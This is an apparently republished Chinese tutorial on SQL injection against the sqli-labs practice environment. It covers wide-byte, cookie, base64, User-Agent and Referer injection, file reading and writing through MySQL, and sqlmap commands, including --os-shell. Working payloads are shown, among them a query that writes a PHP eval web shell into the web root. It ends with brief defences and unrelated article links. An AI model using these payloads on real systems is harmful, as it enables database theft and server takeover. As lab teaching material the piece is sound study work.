SQL注入漏洞 其他注入

文章目录

  • 宽字节注入
      • 案例
  • HTTP头部注入
    • Cookie注入
    • base64
    • User-Agent注入
    • Referer 注入
  • SQL注入读写文件
    • 条件
      • 1.是否拥有读写权限
      • 2.文件路径
      • 3.secure_file_priv
    • 读取文件
    • 写入文件
  • SQLMap
    • 安装sqlmap
      • kail 源安装
      • 仓库克隆
    • 参数简介
    • 快速入门;SQLmap(常规)使用步骤
    • POST注入方法
    • GetShell
  • SQL 注⼊漏洞防御

宽字节注入

宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

从而逃过转义限制

案例

在sqli-labs中less-32关中就有体现
进入关卡
在这里插入图片描述
寻找注入点
在这里插入图片描述
在这里插入图片描述
发现变化进行单引号闭合发现被转义
在这里插入图片描述
在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能
在这里插入图片描述
出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+
在这里插入图片描述
http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+
在这里插入图片描述

HTTP头部注入

Cookie注入

对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点
在这里插入图片描述
发现报错写入报错注入语句用#号闭合
在这里插入图片描述
如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合

base64

注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码
在这里插入图片描述
将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入
在这里插入图片描述
通过admin " order by 3 # 语句发现他的列数为3
在这里插入图片描述
使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #
在这里插入图片描述

User-Agent注入

修改http头文件里的user-agent字段

User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

sqli-labs18关有体现在这里插入图片描述
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入

在这里插入图片描述

Referer 注入

在Referer 字段中注入sql语句

Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现
在这里插入图片描述
我们在头文件里进行注入找到’ and '1进行闭合插入
在这里插入图片描述
加入sql语句
在这里插入图片描述

SQL注入读写文件

条件

1.是否拥有读写权限

想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #
在这里插入图片描述
得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #
在这里插入图片描述

2.文件路径

读写时文件必须使用绝对路径

3.secure_file_priv

mySQL 数据库有关于文件读写的安全选项 secure_file_priv。

secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';
在这里插入图片描述

参数含义
secure_file_priv=NULL限制 mysqld 不允许导入导出操作。
secure_file_priv=‘c:/ajest/’限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。
secure_file_priv=不对 mysqld 的导入导出操作做限制。

本案例为空

读取文件

使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#
在这里插入图片描述
可以看到读取到了文件

写入文件

使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
在这里插入图片描述
文件上传成功
在这里插入图片描述

SQLMap

SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。

安装sqlmap

kail 源安装

sudo apt install sqlmap

仓库克隆

git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull   #更新

参数简介

参数含义
-u检测注入点
–dbs列出所有的库名
–current-user当前连接数据库用户的名字
–current-db当前数据库的名字
-D “cms”指定目标数据库为 cms
–tables列出数据库中所有的表名
-T “cms_users”指定目标表名为 cms_users
–columns列出所有的字段名
-C ‘username,password’指定目标字段
–dump列出字段内容
-r从文件中读取HTTP 请求
–os-shell在特定情况下,可以直接获得目标系统 Shell
–level 3设置 sqlmap 检测等级 3
–cookie=“username=admin”携带 Cookie 信息进行注入
-g利用 google 搜索引擎自动搜索注入点
–batch使用默认选项
–random-agent使用随机 User-Agent 信息
-v 3显示 payload

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

POST注入方法

将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用

sqlmap -r 文件名

就可以跑post请求了

GetShell

  • 受到 secure_file_priv 选项的限制;

  • 填写路径时要写目标系统 Web 根目录的绝对路径

  • 目录权限
    启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell
    在这里插入图片描述
    可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹
    在这里插入图片描述

SQL 注⼊漏洞防御

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/184896.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vim编辑器学习

B站学习vim指令链接 1&#xff1a;vim下有两种模式&#xff0c;一种是命令模式&#xff0c;一种是编辑模式 2&#xff1a;命令到编辑模式&#xff0c;按键盘i&#xff0c;编辑到命令格式按Esc 3&#xff1a;&#xff1a;wq 保存并退出 &#xff1a;wq code.c保存并把文件命名为…

unity Holoens2开发,使用Vuforia识别实体或图片 触发交互

建议&#xff1a;先看官方文档 我使用的utniy 版本&#xff1a;Unity 2021.3.6f1 官方建议&#xff1a;混合现实工具包简介 - 设置项目并使用手势交互 - Training | Microsoft Learn 配置了正确工具的 Windows 10 或 11 电脑Windows 10 SDK 10.0.18362.0 或更高版本安装了 U…

Redis实战 | 使用Redis 的有序集合(Sorted Set)实现排行榜功能,和Spring Boot集成

专栏集锦&#xff0c;大佬们可以收藏以备不时之需 Spring Cloud实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9270827.html Python 实战专栏&#xff1a;https://blog.csdn.net/superdangbo/category_9271194.html Logback 详解专栏&#xff1a;https:/…

网络通信——与Socket交换数据(三十一)

1. 与Socket交换数据 1.1 知识点 &#xff08;1&#xff09;通过Android与Socket完成基本的Echo程序实现&#xff1b; &#xff08;2&#xff09;通过对象序列化进行大数据的传输&#xff1b; 1.2 具体内容 对于网络的开发而言&#xff0c;最常使用的交互模式&#xff1a;W…

算法之路(一)

&#x1f58a;作者 : D. Star. &#x1f4d8;专栏 :算法小能手 &#x1f606;今日分享 : 如何学习&#xff1f; 在学习的过程中&#xff0c;不仅要知道如何学习&#xff0c;还要知道避免学习的陷阱。1. 睡眠不足&#xff1b;2. 被动学习和重读&#xff1b;3. 强调标记或画线&am…

基于单片机的甲醛检测器设计

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、设计的主要内容二、系统硬件设计三、软件设计4.1 程序结构流程图原理图 四、结论五、 文章目录 概要 本文将要提…

【k8s】pod控制器

一、pod控制器及其功用 Pod是kubernetes的最小管理单元&#xff0c;在kubernetes中&#xff0c;按照Pod的创建方式可以将其分为两类 自主式Pod&#xff1a; kubernetes直接创建出来的Pod&#xff0c;这种Pod删除后就没有了&#xff0c;也不会重建 控制器创建的Pod&#xff1a…

2023.11.7 Spring 依赖注入的三大方式

目录 前言 属性注入&#xff08;Autowired&#xff09; Setter 注入 构造方法注入 Resource Autowired 和 Resource 的区别 Autowired 和 Resource 查找 Bean 对象的区别 前言 配置文件 ​ <?xml version"1.0" encoding"UTF-8"?> <beans …

uniapp在不需要后端数据的情况下 怎么记录用户进一次记录一次

目录 前言&#xff1a; html部分 js部分 完整代码 前言&#xff1a; 一时兴起&#xff0c;不喜勿喷&#xff0c;今天听到了这个问题想到了一个方法&#xff0c;解决方式如下。 html部分 他用于显示访问次数&#xff08;visitCount变量的值&#xff09;。 <template&…

MySQL主从搭建,实现读写分离(基于docker)

一 主从配置原理 mysql主从配置的流程大体如图&#xff1a; 1&#xff09;master会将变动记录到二进制日志里面&#xff1b; 2&#xff09;master有一个I/O线程将二进制日志发送到slave; 3) slave有一个I/O线程把master发送的二进制写入到relay日志里面&#xff1b; 4&#xf…

万字长文 - Python 日志记录器logging 百科全书 之 基础配置

万字长文 - Python 日志记录器logging 百科全书 之 基础配置 前言 在日常的开发中工作中&#xff0c;日志记录扮演着不可或缺的角色。它不仅能让我们了解应用程序的运行状况&#xff0c;还能帮助我们定位并解决各种问题。 最基本的&#xff0c;它记录了应用程序的运行情况&am…

SBCFormer:快速、轻量级神经网络 for 边缘AI

一&#xff1a; SBCFormer [ PDF] SBCFormer 是一种 CNN-ViT 轻量混合网络backbone&#xff0c;能在单板计算机上能以每秒 1 帧速度进行全尺寸 ImageNet 分类的轻量级网络。 通过在低端 CPU 上实现高准确性和快速计算&#xff0c;为树莓派 4 型号 B 的 ARM-Cortex A72 CPU 提供…

情感分析与LLMs角色扮演

深度学习自然语言处理 原创作者&#xff1a;wkk 就像人类在做一件事情的时候&#xff0c;可能需要尝试多次。LLM也是如此&#xff01;这对于情感分析任务尤其如此&#xff0c;在情感分析任务中&#xff0c;LLM需要深入推理来处理输入中的复杂语言现象&#xff08;例如&#xff…

「Qt Widget中文示例指南」如何模拟一个时钟?

Qt 是目前最先进、最完整的跨平台C开发工具。它不仅完全实现了一次编写&#xff0c;所有平台无差别运行&#xff0c;更提供了几乎所有开发过程中需要用到的工具。如今&#xff0c;Qt已被运用于超过70个行业、数千家企业&#xff0c;支持数百万设备及应用。 点击获取Qt Widget组…

康耐视深度学习ViDi-ViDi四大工具之一蓝色定位工具/Locate

目录 工具介绍使用步骤说明调整工具ROI添加特征标签生成定位姿态训练并审核模型编辑器参数说明蓝色定位工具/Locate工具 工具介绍 蓝色定位工具用于识别和定位图像中的特定特征或特征组。该工具的输出可用于为其他ViDi 工具提供位置数据。使用该工具时,您提供图像训练集,然后…

Apache Doris (五十二): Doris Join类型 - Broadcast Join

🏡 个人主页:IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 🚩 私聊博主:加入大数据技术讨论群聊,获取更多大数据资料。 🔔 博主个人B栈地址:豹哥教你大数据的个人空间-豹哥教你大数据个人主页-哔哩哔哩视频 目录 1. Broadcast Join原理

Vue+OpenLayers 创建地图并显示鼠标所在经纬度

1、效果 2、创建地图 本文用的是高德地图 页面 <div class"map" id"map"></div><div id"mouse-position" class"position_coordinate"></div>初始化地图 var gaodeLayer new TileLayer({title: "高德地…

python数据分析及可视化(十五)数据分析可视化实战篇(抖音用户数据分析、二手房数据分析)

python数据分析的实战篇&#xff0c;围绕实例的数据展开分析&#xff0c;通过数据操作案例来了解数据分析中的频繁用到的知识内容。 抖音用户数据分析 1.理解数据 数据字段含义 了解数据内容&#xff0c;确保数据来源是正常的&#xff0c;安全合法的。理解一下每一个字段的…

C站你好,和你相遇的第1825天

文章目录 机缘收获日常成就憧憬 机缘 ①. 你好,C站 ②. 初识JAVA编程,遇到问题,粘贴问题百度搜索,大都数出来的解决方案都能在C站得到解决,对C站有一定的好感 ③. 起初在CSDN写博客,主要用来记录日常学习过程中的笔记、不断调整自己的笔记,如JAVA基础、框架、虚拟机等,为后…

java传base64返回给数据报404踩坑

一、问题复现 1.可能因为base64字符太长&#xff0c;导致后端处理时出错&#xff0c;表现为前端请求报400错误&#xff1b; 这一步debug进去发现base64数据是正常传值的 所以排除掉不是后端问题,但是看了下前端请求,猜测可能是转换base64时间太长数据过大导致的404 2.前端传…